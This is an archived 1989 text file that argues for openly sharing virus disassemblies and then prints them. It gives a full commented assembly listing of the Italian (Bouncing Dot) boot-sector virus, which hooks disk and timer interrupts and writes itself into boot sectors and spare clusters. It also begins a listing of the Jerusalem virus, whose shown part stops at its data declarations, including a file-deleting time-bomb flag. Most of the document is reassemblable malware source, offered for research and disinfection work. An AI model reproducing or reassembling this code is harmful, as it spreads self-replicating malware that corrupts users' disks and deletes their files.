💾 Archived View for spam.works › mirrors › textfiles › virus › goodwin.txt captured on 2023-06-16 at 21:02:52.
View Raw
More Information
-=-=-=-=-=-=-
The following document is copyrighted by Jim Goodwin, 1989. It may be
copied and distributed freely, as long as no changes are made. For further
information or comments, I may be contacted on the Bulletin Board Society's
Homebase board - (408) 988 4004. Additional virus analyses are currently
being finalized and the results will be published in future versions of this
document.
Jim Goodwin - April 7, 1989
AN ANALYSIS OF COMPUTER VIRUS STRUCTURES
There has been much disagreement within the virus research community
about the wisdom of distributing detailed information about viruses,
including disassemblies of viruses. Some would say that virus disassemblies
can be easily re-assembled and returned to a live state; that they show
people how to write viruses or that they give people ideas that they would
not otherwise have. The opposing view holds that detailed information must
be shared freely in order to effectively combat the virus spread. Proponents
of shared information point out that hundreds of people are re-inventing the
wheel by disassembling viruses that have already been disassembled many
times over. They argue that it does not take a disassembly to enable someone
to write a virus; that anyone with even a moderate understanding of
programming can do so, and that live viruses are so common that anyone
wishing to obtain one can easily get their hands on one.
I very strongly favor the free information viewpoint. It is clear that
we, as a user community, are suffering greatly from a lack of concrete
knowledge. PC Magazine, as the prime example of this lack of knowledge,
performed an evaluation of antiviral products in its April issue that is
shocking to anyone with even a remote understanding of viruses. The products
chosen were the TSR type of prevention products (Class I products in CVIA
terminology), and these products are universally known to be practically
useless. They were tested against only three viruses, none of them boot
sector infectors (since TSR type products cannot possibly prevent such
infections), in spite of the fact that boot infectors account for over 75%
of all infection occurrences. The editor's choice was Flu-shot and, while
I have nothing against Greenberg or his programming skills, the product, like
all TSRs, is almost completely ineffective. Even a child could write a virus
to evade the interrupt vectoring capabilities of TSRs in a DOS environment.
These and other circumstances make it obvious that we are in desperate need
of education.
I have disassembled dozens of viruses, and I now know that it takes no
specialized knowledge to write a virus. Literally anyone can write one. The
concept is absurdly simple, understood by even beginning programmers. We
have merely surrounded the virus issue with an air of mystique that makes it
appear that there is some magic formula that must be guarded from the crowd
of people waiting to write viruses. This is total nonsense. There is no
magic. There is no subtlety. A program is merely written that copies itself
and attaches itself to another program. If this is the secret we are trying
to protect, then we have become foolish.
The truth is, we need to study and disseminate existing virus structures
far more than we need to hide them from crackers. A cracker gains little
from a disassembly. A researcher attempting to write a disinfectant program,
on the other hand, gains a great deal. The cracker is the only person who
gains from the existing atmosphere of restricted information flow. If few
people know the internals of a virus, then there is little likelihood that
an effective remedy for the virus will be forthcoming. If many people have
access, then one or more will certainly develop an identification and removal
product.
I also want to point out that full virus disassemblies have previously
been published in at least three books and four international magazines with
no known ill effects, and a great deal of positive support from readers.
I do not expect the previous brief discussion will change the minds of
those people who insist on a restricted flow of detailed information. I do
hope, however, that those of you who have been shy about your own desires to
open up and share information, will take heart and pass on the enclosed
disassemblies to those people that you feel might benefit from them.
I would like to take this opportunity to give my heartfelt thanks to
John McAfee (who mildly disagrees with my approach) for his tireless efforts
to collect and classify viruses from multiple computer architectures. His
work, more than any others, has inspired me to give my all to this effort.
I would also like to recognize the excellent collective work of the Computer
Virus Industry Association, for their concise analysis of antiviral measures
and their overwhelming contribution to my collection of 60 odd viruses.
Neither John nor the Association, by the way, is in any way responsible for
my publication and distribution of this document. I take sole and full
responsibility.
THE VIRUSES
- ************************************************************************
-------------------------------------------------------------------------
-------------------------------------------------------------------------
- ************************************************************************
The "Italian Virus"
Also Called - Bouncing Dot, Vera Cruz and Missouri virus.
; ORIGININ ADDRESS -7C00H
RAM SEGMENT AT 0
; SYSTEM DATA
ORG 20H
INT8OF DW ? ; INTERRUPT 8 OFFSET
INT8SG DW ? ; INTERRUPT 8 SEGMENT
ORG 4CH
INT19O DW ? ; INTERRUPT 19 OFFSET
INT19S DW ? ; INTERRUPT 19 SEGMENT
ORG 413H
RAMSIZ DW ? ; TOTAL RAM SIZE
; BPB OF VIRUS BOOT RECORD
ORG 7C0BH
BYPSEC DW ? ; BYTES PER SECTOR
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
SECRES DW ? ; RESERVED SECTORS
FATNUM DB ? ; NUMBER OF FATS
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
SECNUM DW ? ; NUMBER OF SECTORS
MEDIAD DB ? ; MEDIA DESCRIPTOR
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
SECTRK DW ? ; SECTORS PER TRACK
HEDNUM DW ? ; NUMBER OF HEADS
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
; INTERRUPT 19 (13H) BRANCH ADDRESS
ORG 7D2AH
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
; INSTALLATION DATA AREA
ORG 7DF3H
CURFAT DW ? ; CURRENT FAT
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCH DB ? ; SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT
; - 04H - 16-BIT FAT
LSTDRV DB ? ; LAST DRIVE USED
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
FLAG01 DW ? ; FLAG FIELD
; DATA AREA
ORG 7EB0H
LASTTM DW ? ; SYSTEM TIME LAST CALLED
PRCFAT DB ? ; PROCESSED FAT / 256
; INTERRUPT 8 BRANCH ADDRESS
ORG 7FC9H
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
; DISPLAY DATA AREA
ORG 7FCDH
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
GRAPHM DB ? ; GRAPHICS MODE SWITCH
MODEAP DW ? ; MODE AND ACTIVE PAGE
COLUMN DB ? ; VISIBLE COLUMNS - 1
; BPB OF ORIGINAL BOOT RECORD
ORG 800BH
BIPSEC DW ? ; BYTES PER SECTOR
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
VERVED DW ? ; RESERVED SECTORS
RUMNUM DB ? ; NUMBER OF FATS
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
NUOSEC DW ? ; NUMBER OF SECTORS
MIASET DB ? ; MEDIA DESCRIPTOR
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
TRASSC DW ? ; SECTORS PER TRACK
NUOHED DW ? ; NUMBER OF HEADS
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
ORG 81F5H
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LASTUS DB ? ; DRIVE LAST USED
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
LATER2 DB ? ; TYPE SWITCH
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START:
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
DB 'MSDOS3.2' ; OEM AND VERSION
DW 512 ; BYPSEC - BYTES PER SECTOR
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
DW 1 ; SECRES - RESERVED SECTORS
DB 2 ; FATNUM - NUMBER OF FATS
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
DW 720 ; SECNUM - NUMBER OF SECTORS
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
DW 9 ; SECTRK - SECTORS PER TRACK
DW 2 ; HEDNUM - NUMBER OF HEADS
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
; START OF PROCESSING
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
HIDE_ME_PLEASE:
XOR AX,AX
MOV SS,AX ; STACK SEGMENT ZERO
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
SUB AX,2 ; SUBTRACT 2K
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
MOV DI,SI ; COPY OFFSET FOR SOURCE
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
; THIS IS THE ILLEGAL OPCODE!
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
CALL SET_IT_UP
SET_IT_UP:
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
INT 13H ; DISK INTERRUPT
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK ONE SECTOR
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
CALL READ_IT_IN ; READ REST OF CODE
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
INC BX ; ADDRESS TO BOOT SECTOR STORE
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
CALL READ_IT_IN ; READ REAL BOOT SECTOR
XOR AX,AX
MOV SWITCH,AL ; SET OFF ALL SWITCHES
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,INT19O ; SAVE INT 19 OFFSET
MOV BX,INT19S ; SAVE INT 19 SEGMENT
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
MOV INT19S,CS ; NEW INT 19 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
MOV DL,LSTDRV ; GET DRIVE NUMBER
DB 0EAH ; FAR JUMP TO BOOT SECTOR
DW 7C00H, 0
WRITE_IT_OUT:
MOV AX,301H ; WRITE ONE SECTOR
JMP SHORT GET_SECTOR
READ_IT_IN:
MOV AX,201H ; READ ONE SECTOR
GET_SECTOR:
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
XOR DX,DX ; CLEAR FOR DIVISION
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
INC DL ; ADD ONE TO ODD SECTORS
MOV CH,DL ; SAVE SECTOR NUMBER
XOR DX,DX ; CLEAR FOR DIVISION
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
MOV CL,6 ; POSITIONS TO MOVE
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
OR AH,CH ; MOVE IN SECTOR NUMBER
MOV CX,AX ; MOVE TO CORRECT REGISTER
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
MOV DH,DL ; MOVE HEAD NUMBER
MOV AX,BX ; RECOVER CONTENTS OF AX
BRING_IN:
MOV DL,LSTDRV ; GET DRIVE NUMBER
MOV BX,8000H ; SET BUFFER ADDRESS
INT 13H ; DISK INTERRUPT
JNB GO_BACK ; BRANCH IF NO ERRORS
POP AX
GO_BACK:
RET
; INTERRUPT 19 (13H) (DISK) ROUTINE
INT_19:
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
PUSH CS ; \ SET ES EQUAL TO CS
POP ES ; /
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
JNZ PASS_OUT ; EXIT IF ON
CMP AH,2 ; TEST FOR READ SECTOR
JNZ PASS_OUT ; EXIT IF NOT
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
; TIME A DISK-READ WILL SWITCH IT ON.
XOR AH,AH ; GET SYSTEM CLOCK
INT 1AH ; SYSTEM CLOCK INTERRUPT
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
JNZ DO_TIME
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
JNZ DO_TIME
PUSH DX ; SAVE SYSTEM TIME
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
POP DX ; RECOVER SYSTEM TIME
DO_TIME:
MOV CX,DX ; COPY SYSTEM TIME
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
MOV LASTTM,CX ; SAVE SYSTEM TIME
SUB DX,24H ; SUBTRACT 2 SECONDS
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
INT_SWITCH:
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
PUSH SI
PUSH DI
CALL DISK_INSTALL ; INSTALL ON DISK
POP DI
POP SI
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
PASS_OUT:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
; DISK INSTALLATION
DISK_INSTALL:
MOV AX,201H ; READ ONE SECTOR
MOV DH,0 ; HEAD NUMBER 0
MOV CX,1 ; TRACK 0, SECTOR 1
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
JZ FAT_CHECK ; BRANCH IF NOT
; HARD DISK - PARTITION TABLE
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
NEXT_PART_ENTRY:
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
ADD SI,10H ; ADDRESS TO NEXT ENTRY
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
RET
; HARD DISK - GET BOOT RECORD
SNARF_UP_THE_BOOT:
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
MOV AX,201H ; READ ONE SECTOR
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
; BOOT SECTOR PROCESSING
FAT_CHECK:
MOV SI,8002H ; ADDRESS TO BPB SOURCE
MOV DI,7C02H ; ADDRESS TO BPB TARGET
MOV CX,1CH ; LENGTH OF BPB
REPZ MOVSB ; COPY BPB
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
CMP LATER2,0
JNB HEAD_EM_OUT
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
MOV CURCLS,AX ; SAVE IT
MOV SI,REMAI2
JMP PLACE_VIRUS
HEAD_EM_OUT: RET
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
WHERE_BE_THE_FAT:
CMP BIPSEC,200H ; SECTOR SIZE 512
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
CMP ALCSEC,2 ; SECTORS PER CLUSTER
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
MOV CX,VERVED ; GET RESERVED SECTORS
MOV AL,RUMNUM ; NUMBER OF FATS
CBW ; FILL OUT REGISTER
MUL FASNUM ; SECTORS PER FAT
ADD CX,AX ; SECTOR OF ROOT DIR
MOV AX,20H ; LENGTH OF DIR ENTRY
MUL ROTRID ; NUMBER OF DIR ENTRIES
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
MOV BX,200H ; LENGTH OF SECTOR
DIV BX ; SECTORS OF ROOT DIR
ADD CX,AX ; SECTOR OF FIRST CLUSTER
MOV CURCLS,CX ; SAVE THIS
MOV AX,SECNUM ; GET NUMBER OF SECTORS
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR DX,DX
XOR BH,BH ; CLEAR TOP OF REGISTER
DIV BX ; CALCULATE NUMBER OF CLUSTERS
INC AX ; ALLOW FOR NUMBER ONE NOT USED
MOV DI,AX
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
CMP AX,0FF0H ; SEE IF 12-BIT FAT
JBE WRITE_FAT ; BRANCH IF YES
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
WRITE_FAT:
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
MOV BX,SECRES ; GET RESERVED SECTORS
DEC BX ; ALLOW FOR ADDITION
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
JMP SHORT READ_FAT
; DATA AREA
DW 2 ; CURFAT - CURRENT FAT SECTOR
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
DB 1 ; SWITCH - SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
DB 0 ; LSTDRV - DRIVE LAST USED
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
; END OF FIRST SECTOR, START OF SECOND
; SEARCH FAT FOR UNUSED CLUSTER
READ_FAT:
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
CALL READ_IT_IN ; READ FAT SECTOR
JMP SHORT GET_EM_NEXT
FAT_SWITCH:
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JZ FAT_ENTRY ; BRANCH IF OFF
INC AX ; FOUR BYTES NOT THREE
FAT_ENTRY:
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
SHR AX,1 ; DIVIDE BY TWO
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
MOV BX,AX ; COPY DISPLACEMENT
CMP BX,1FFH ; SEE IF IN THIS SECTOR
JNB READ_FAT ; BRANCH IF NOT
MOV DX,[BX+8000H] ; GET ENTRY
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ F_TEST_1 ; BRANCH IF ON
MOV CL,4 ; POSITIONS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FAT_TOP ; BRANCH IF NOT
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
FAT_TOP:
AND DH,0FH ; SWITCH OFF TOP BITS
F_TEST_1:
TEST DX,0FFFFH ; TEST ALL BITS
JZ MAKE_BAD ; BRANCH IF NONE ON
GET_EM_NEXT:
INC SI ; NEXT FAT ENTRY
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
JBE FAT_SWITCH ; BRANCH IF NOT
RET
; SPARE CLUSTER FOUND - INSTALL ON DISK
MAKE_BAD:
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ FIND_SECTOR ; BRANCH IF ON
AND DH,0FH ; CONVERT MARKER TO FF7H
MOV CL,4 ; BITS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FIND_SECTOR ; BRANCH IF NOT
SHL DX,CL ; MOVE INTO POSITION
FIND_SECTOR:
OR [BX+8000H],DX ; PUT MARKER INTO FAT
MOV BX,CURFAT ; GET SECTOR NUMBER
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
MOV AX,SI ; GET ENTRY NUMBER
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR BH,BH ; CLEAR TOP OF REGISTER
MUL BX ; CONVERT TO SECTORS
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
MOV SI,AX ; SAVE REAL SECTOR NUMBER
MOV BX,0 ; SECTOR ZERO
CALL READ_IT_IN ; READ BOOT SECTOR
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
INC BX ; ADDRESS TO NEXT SECTOR
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
PLACE_VIRUS:
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
MOV ES,AX ; SET BUFFER ADDRESS
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
MOV ES,AX ; SET BUFFER ADDRESS
MOV BX,0 ; SECTOR ZERO
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
RET
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
DB 2 ; PRCFAT - PROCESSED FAT / 256
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
INTERRUPT_08:
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
JNZ FINISH_TIME ; BRANCH IF ON
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
MOV AX,0 ; \ SEGMENT ZERO
MOV DS,AX ; /
MOV AX,INT8OF ; SAVE INT 8 OFFSET
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
MOV INT8SG,CS ; NEW INT 8 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
FINISH_TIME:
RET
; INTERRUPT 10
DO_VIDEO:
PUSH DS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV AH,0FH ; GET VDU PARAMETERS
INT 10H ; VDU INTERRUPT
MOV BL,AL ; VDU MODE
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
DEC AH ; VISIBLE COLUMNS
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
MOV AH,1 ; GRAPHICS MODE SWITCH ON
CMP BL,7 ; TEST FOR TELETYPE MODE
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
DEC AH ; GRAPHICS MODE SWITCH OFF
IS_IT_GRAPHICS:
CMP BL,4 ; TEST FOR GRAPHICS MODE
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
DEC AH ; GRAPHICS MODE SWITCH OFF
ROW_AND_COLUMN:
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX ; SAVE CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
JMP SHORT VIDEO_01
CHARACTER_ATTRIB:
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX
MOV AH,2 ; SET CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
INT 10H ; VDU INTERRUPT
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ WRITE_CHAR ; BRANCH IF NOT
MOV AX,8307H ; CHARACTER AND WRITE MODE
WRITE_CHAR:
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
MOV CX,1 ; ONLY ONCE
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
VIDEO_01:
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
CMP DH,0 ; IS ROW ZERO
JNZ VIDEO_02 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_02:
CMP DH,18H ; IS ROW 24
JNZ VIDEO_04 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_04:
CMP DL,0 ; IS COLUMN 0
JNZ VIDEO_05 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_05:
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
JNZ VIDEO_07 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_07:
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
JNZ VIDEO_09 ; BRANCH IF CHANGED
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
CMP AL,3 ; TEST BITS 1 AND 2
JNZ VIDEO_08 ; BRANCH IF OFF
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_08:
CMP AL,5 ; TEST BITS 1 AND 3
JNZ VIDEO_09 ; BRANCH IF OFF
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_09:
ADD DL,CL ; NEW COLUMN POSITION
ADD DH,CH ; NEW ROW POSITION
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
MOV BL,AH ; MOVE ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ VIDEO_10 ; BRANCH IF NOT
MOV BL,83H ; WRITE MODE FOR GRAPHICS
VIDEO_10:
MOV CX,1 ; ONCE ONLY
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
POP DX ; RESTORE CURSOR ADDRESS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
POP DX
POP CX
POP BX
POP AX
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
CODE ENDS
END START
- **************************************************************************
---------------------------------------------------------------------------
---------------------------------------------------------------------------
- **************************************************************************
The "Jerusalem" virus.
Also Called - Israeli, PLO, Friday the 13th - Version A
PAGE 64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ;COM FILES START HERE
JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
OLD_24 DW 0556H,16A5H ;001B
A_FLAG DW 7E48H ;???
A0021 DB 000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H
A002C DW 0 ;A SEGMENT
DB 000H,000H
